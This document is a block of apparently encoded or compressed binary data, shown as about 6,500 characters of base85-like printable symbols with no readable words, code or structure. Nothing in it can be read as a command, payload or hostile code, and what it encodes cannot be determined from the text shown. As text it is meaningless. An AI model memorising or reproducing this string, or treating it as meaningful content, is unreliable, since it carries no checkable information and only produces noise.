zr>?|cE^R!yu_YJ@#(l|X+^!4xTZ4fKrS|yJlG2j#r4vpoUD?Y7m3j`8R)o`?ZLW1?yNgwn=@kJly{;Dpoc`bG6sa~dk@=9E>} z+x2s2H7qEr!%HlyW>(Cpudq>2Qx8f^m`wO?T1$T(m?YWwGwp`fU?OOTL;hd{X)+jZ zOW3}6(Dp@aA8F7Qj3n)*V6p?`uSLb~E@n*&0fur=ZAAMZ&>E!j58MP$rz>S8@sBBwM4H%}_Gf zmH-*6n$fOEXX>h)*AmlTlRaaRJrB%$uH8^sk!Iy0d(qr^cG=9C6}1g4FicI5vs796 zTzk&k23M7uB3tLpV{I2O(-{Oo#z%Qe?qA-BJvoF!11olflC5N-Ofe}^m0Er65F4;+ zJk-*fOh8n^(GFM7B8AdF`Q-F7z$d)Ah~1c6HgOW=k*cGFydtt$HK)Fzth&0ap=$0N zyKGK52v%X&Rh?VeP!EDMHkI0ofM%O-IhZ|>^o7G})>A-~>>5e6HDRJ4i~eXV1VO-^ zN2VYS7-rlK1QpMeK+hPp(dhTZpiGI-1Q$Z}fD|O0YS9;}TB(herM42^G`HB`9IaFW zMRp_#j*Er^B@l5GIEp120fAc}h6zQ?M6@kUNN50##Emfq?a@GS%t@SWIdox5nFUmw zC(KH167u_+!q9QP4p&!gQD_xCXV4Nca4z~%Sht0eN?XYUlf0RTK$8G(U&0P9ivfuQ zzQiC8p=6T!BqD&)qa^c2>_C({i&8<}YD*=O9tPu#C4>If2(S%WUDW! z5eS3V6gW++P?EL%!FbY#w8OWYvS_Ed1k<4B*x|=M^j4Fjx;moqrO?086x8>AF>MM( zXaw4W@dR{!7T--xbD3kI_JfbngYh7N2JK*^B@_t;<3-?IN@)nw3w;#`C47lQu#K}# zzS$2VMVLN+FqTwOqh?fFo#3)0t)3!u1_NbII5cf9+~XN$TK~5BmIiIbd%XxHI*r(g zSkND84&`DdjuY%2?Lc9ZSWAb$_lry#k65ZH97-s?=Ey8{z7iuC%_z0Tax;i@yEq6_ zWQ*xW?Qjqb;TBQdAYDHhhfmi`d*Qa`XsKi^Eh6ks@l|Um9lFO%Jq-jn`!^@IH z;tUpO3&#B+2u|8zfH{I+0D;pM(W{aje(OUYQwu`@PE-oeu7`_N)lfCR!mgS#Yi?bQ z(#j=D3madi35r*FE99IaI{_gM`!Lj~R!)InQ>q1Dqwt;-b3w}{Q_w?=;XqUP;#3qm zC>D>xe#7iS2L&7B>3j$_hT5hTQ!_XobzplG7kIRyz!$5aTp;SEL=-+7)Kn;d2?T2? zjcBGDM1td;gc^4DVizV-@S~vRKyUD!U{>fv zCSuSup{7tclw7WS7jn~oIc`irJLrTCqAoWU#3D>FGm1ljA2ec1D^ZLq8n{uI4<#X5>M3Xo}B1nNORgAqTNF9laU5llFUYZdMC2PV1vfr@3ynXC(9 zhC_aO_=&z<0;~}(3i_d1qcG4gxdFSLe69>B-BQ?SnOm?;Dy%T330suYV#4SL;4nbW z{c6B^L_`Cc0Ghfth(h9=3k`JEAg&%U(Q63uS9*Y4ML^|4xd?i&BH%@eh+wY20njY6 zOdtTkQV4kjI1vomSaf1hn&SF36buKrmTV4VWs^u=TDhpUqOQ7X&TPA*qobtFtfjcV zIaLNm@ma}bZ8#85gp-%{QEw$ax+_^oV%cX;yR^@4N46%Du_>pX+6UN??(X+rU16aX z>gfJ#;8TjBN1~A+-N&?|&*rx?T>Mr)ueNq>T?2G+-F&Qh>q|7ZDJ?uB==TZFLqDYL z0PaUZmO@ZiBkc~@UWf?YQ7z=uQkYYik_BdDPwAXF3@8F=q795Oz1oPb$~ zQxLH3ppH^qahc!j3n`~67ECJTr3*MhQV(i1Lp=2Qy4N^}nzbg^tj$d&5i1gA^~}Tp z&Y)w7{aBO0y>KjRh)Os5L%(m!YwPuD?P+*Xk zh;o_~*-aqA*aO8u@*$Zs4gjU)n0Y)&O$t2-q^Zew7A63QwR!!DGJ z6#t?rNLL-?iiZ+Q2~u2Cm;yu{++kMKh@JBD*E!BOXDJ4U!Kb6Z4;T zV$5{A{DQP3dg!Vs9geDC09_FYYG$mO{Jw}YIh;L-n(Fnd6Oxdr$^cp99TwKYPP{aP z$QPHN&d^8^F0#M}aAcLAU1T?hk`XResO5Z$&q98^RR;tTEVlAvOX^GPQKy%bmTI}wlVYGds!F%>C}wEk;KeE0 zYhM`aYAjl*kU>}Ql8OQ_8@mV6GssNqz%?9HkcQVgJ+lLiX>HZu4RyIJmvY4%{n&>+ zHc=Uj5PS(U6A!{=mvs{b$%q|Bk`7CQ*;Q<%&}E#Wf#5jKAAp#}f7%JcBAOv{3X{7S zG-`?a+7eSawF=|3E1_=ogTKK%r;#R#ai1Ti+A-W(4q#@|0`8G-3{fo*5V%VVM(lv#SuiGW!%{bi~IZ)V!X6z|u&tgBT=Q zqp5H}%mo+OkeH@uig7O3h-f0ce1_yO%dnTYA*c#p!--20pi&u1*o;@5UQ@s?C8EXTC z3^8#{SWzqA=KNF;SQptdeGy;4hgoGnTGIo}0w-I?V?9=qZns`fARNOD0QyO@xTbEE zDHMDXP1q4^)cco{sGfXr2){kWo(a-MTS9)U1MSAK!84Q4vJ7V`+?ZkeQug^N-g)rT zo&~Uiw?Q{gVHiNn4NeD122N(^9nhK)q==A5{Gno0PDE2+mk5-fF9NV<_+SYg8XA1l zdysa;!nt!A$NJB#lii5&3j5r$y0SS9RTbj0Rl7#e9!e;jVZ`CekZZ8J2z;<=1~CzA zNMexK5KCgT7(a*H)P%hOFk{e8C1G3=60CrSh-PWZusr~m+U?OKNS+9$82bq&NW&l$ zCp(RY!X;kzkBmhK1tBY}hf;o`<4dtMyl@aXL@`t`{9uVapEQX@Q|-Y^>?Q&uWzKBo zv~ZWi4#cBS%;`0KB#1a3NC+E}OxXeaV>!^J(M}*F6oyT7yz4-U#0M86S_w6oibJgt zbJs)xxmXYq*%l2j{2MQ^tFddDvV&n2?&CBnqfRy?aWQ;XpU^X`W(EdMr4{#6ffDkCTI+$%gq6w&s$dmFXAfhOJ;TKw;g}i%LuF zQP{oHEXHXTE{nxUdmt46N2+F;N4?#mHYXdbN7hCEx^wI$VH(=7X2forD<7@{;UXfQ zTIRS9@M0KWWtcV!q`|w2oiuxR7~V{wQC1V7p|H8-R?nDzXdet^O6Fw40*n60h#zn- z+&%fSJ8slrI>eu(O`=p_^{!L~+=>u~Lmg;z0b(7gWof@c4U8MMbS_eMp_?kmrGL>J zYDrPxm0(g?D#ya{GoT6R=0S+5JXt~e7zi-hQaBX^(_@wK^}62m?)!6Q)I38!O8}n} z37}L%V2}1tR6?EnqNIu&e89v}Qt%)!b*?sC;z5;&v!RG14hSVWXe+&CyblFxtfTmv z$(S-sC@5ucl}?O;iwH?cJ#|+&3i?C6fpTDEk4($>U6W~7KtC!!SQ0-E=t95h6iY3#cIr9JRX8U^tD52&;n=` zB=rS&JME^jM<8_+%7|R8Y&0hWlam__3{hJ;nIy=GMuT)}r!@vAG-Iffx$me{TsC+z zm0wxNVte}URx4;F@ZYw=R><<>E~39DaUZwZ@XfY-xMLk3N_lNj--9S+{Uq|5aF?_? zaAgkhSdNwDEBt^?&kD}eiil>#ib4B$Wel^V?`t5F!n zQ9ptI&8pv-xQkmcb@d@9gu93}4z-CZAudNw$||vH(OVF?GFpzur^=Ix25qPz)L?%; zK#XbZl4x%OGATv;q~{LQ5t;~mwvq1v)Zlo+NZA8v(1MoDD35|-gcSs(Taizil^~Cl zcaN(C-=*%Us?XfCEJ7J6$=0p7XHS0gn?kRgRR?R%lhBjY=KQ$ZnGq0wazMyxSM>=o zX|b0OuosFhPt!@p;cy6Nmz2t;9cO}6?TsgfS|_741&RmIn$$_4SLTu%WF{P5Gi6nP zDm*H5w5?)5X#xb!u<#N&uN~NPRHmKb3j>?{Lk?yuckQ7VGs}dEA(Us&K53Hz9^|Zq zsu2Y&a*DKLY9z=HEI6kzU?}upP4Y7Nij?LU6QFOEqBf~X`0iRVUIWqaXbEUF0~*1$ z=7Gl43g_a!!Kzg9o~aQCa}l(}JfvmN4Ac#^sBKzgY6;>q%hjeFZEf^1SGCCnp+@2D ztw+o%(tTv>DUM;N9=YL1Lod-19g0TebD^-%t#_@(aT-XipgDQkw6!rWAxLE_U~yil zy(q68pgysnu53^`wHnt3c@EO|2WY(6wnE#oB&Y5<4xg}U{a>$#X~ z&I7GPrfo3xAQyb$e=oHIYMvv&SLBBpJ)rf2)X!xpsDETeTQEA#3TME~6uF+-DszTJ z3mdxiMu!s2LT+72c3P#;+9!AUzA{;-Lh>o8}*3~vqh<=-SmNPY;aTdXxcCu zu?lXuGCK)q0+D*Rh9QM%56Cmdnz=dIaMu1PAsiuerbe`Z>oW8xR7mI@IbZmgS}#+I4ezsGv4%od%1JINa10J^q&)ki z7vR`p@&)PU9X(}_vh8r0mzzj!1DlqD_Q0q6B5ZP0NtSF2-;3?)Q1iSLQ0N6v2Z-Jij&qe;DC1fr+h8nG!##c8r$eYw#c@?vJR_KKE-@xiRo?3f<3Oo`o{4! zhGwi+=%G-%Wa~Q41=mZ|;(`ckMw>2ljD$_06W@Tq6aYC?FucMI*t%h);6(^=ElO7^JrsCh(| zxU%4CQM8RnrDL6C7TuKK%#-)1^~GZMHkLxvN}+d3kJwPLy0V%jPl!e$mytqZ1p=;I z@|Pn^Zo2pYS5_s&M?5K`RSD1Ak~2d6&KZyuac28*uuwCUE+LMF3mv)1lq_Lq%%k5<{UFdnO|aNJcblTFS=PIh#Vz3 zB6l{vOT>re^n8rO8jHc6gcHnY$xj?7{YF1%KnWsLM|(It;9!*5GdY)BD7J$TC`Y6L zH5Yk{5=D=VE6NIMAv7tqYXj;qBF2>+S8X$u4(7VfiG*d(0d<4uF(Q!`YnNpypnzu0spr=hp6|iRd_v!{AG*QDYe2kNM<6r<^=N zP9T2^x6wv8wDy*jz}^a1Gd@Re*gz7>5PELQM*PWZ9qMoYkvlhy36<8@ti|VnFCETg zbfnIjulSNY%7_km&6m~{q^;q_%yp0Ck3?;bn%_u~kqT4dYh=@`)xEloTrY7p!>t^r z+k0{3lC(0CMQv22WQviIbJbl%T2DzdK`_f+LlQqD35IJ#zese;_+JJy+7F{IWOSMF zLR+m$jgF#j+J8jQ!NK&?I|YcP*BT0^$w?=6D1f**}nZqU~{0MdBLb7f?@A9@rNx z6lY6pI{gUIFf4WSxHBsDMp(^?;%>i#a_i`0ZwsR@h?`g(+E()aTtH(aS9~{zXL{$! zFV6SGhL+DuQHlMCm(Ed|d2{C7;Z)Hkq#bGDc=qnN{!k^!=R%IF0j&a-YZk8bUHaCq z##YjE4Z(8}pCmK7MXqa6yg_buBI4Q6F6utvEBAQaZDdC2J99pJ8@J=vdB>gIBRQ5@ z(N=m_`u6tc>OkBqC&I}H2pWNAnlRZf8#~In7lpmPxlfA;;H4Qy7p}4WQ)F0#+ zSy?$$@Q%nWUk3Y3&T-m$DMNiQ=pZp zQg*)%?PX^{_MhueLN8&F=2q&8Y)dC}6irFXN$-P}$M`ec*JGU$<akgVtu>k*itCo9y#SnaCSgwu}%^Cb@oa+LWU;Ba7#%d}ohR=2yHJa+vsB z94liM)Qi2(13829N-B{)#(Ng}%i4?MmK7`cpBh^HAnx&VJwi>$w)Er4OXR3|N=8ep zQP%0WE5)B<7rgu^@Eoj(QKmKa_QZK5<;{B2Xa*x)L8beR=T5m{3rdl!!o{Nz&Jf8r z7Ki6lq&8uCM=N?j`gNj|B9&hJ$OR2)i6kXO2RrLra+UZ7ZqHRB+A@BTXjx~HLX>+W zgF;~=vzc00Up)u@?P{kM{RsqnST>c5USF%Gphj3Yqq|j zrfI=!(E}p~(obVsf$R3TIExZd^3Lb}b@2Xon#h4wpoXj##P`bNIG!pXhLk0G8@)&K z8Bq?xYMN1S7mAjfX9V0norydXCMm-@;&X^qmxvzu#I2O>RQ<1UoZNyOQ< z&R2NRpYtoOp9xAbzDHa{g3Or^@0^Rg3(eWPKy$Fk6?dVhM(jnGxTF2--<%T=NV8O3 zN@FYR&``v;7=t1Np`_4Yrh>1c znAEi#Z|3+(FNvA3m7}|<<%k6(TJWK6q`$)GwSg5v4SFd8opniBiK~iNK zmB|sZ6TlJPga70$(qHC?cfUlB4Qf0rBTVXN$`W@cjjooFlWMtfGd*?#LOY;QtFtC0 zi&~BMvH~&OAu-4p#>4zDu;^V|My#>GMa~G)ZW0oV6P#6Emp;qeFyXxRIPn9&A$*$C_*}UV@=-ZY~#UaYsz-2v2-a{y19t zH>6Cp!h$p*<*0$BUq?b@M~xmB=a+IIem_S*dOLJ-k5jC+ftEQ-qNB_@g_P&Gm@BmB zxJWJLQwBuWm~{&46sfx8lmKc-eTRR^ndBB;$=MQX$Xu@o6*z9uOoYZ0*N$unHja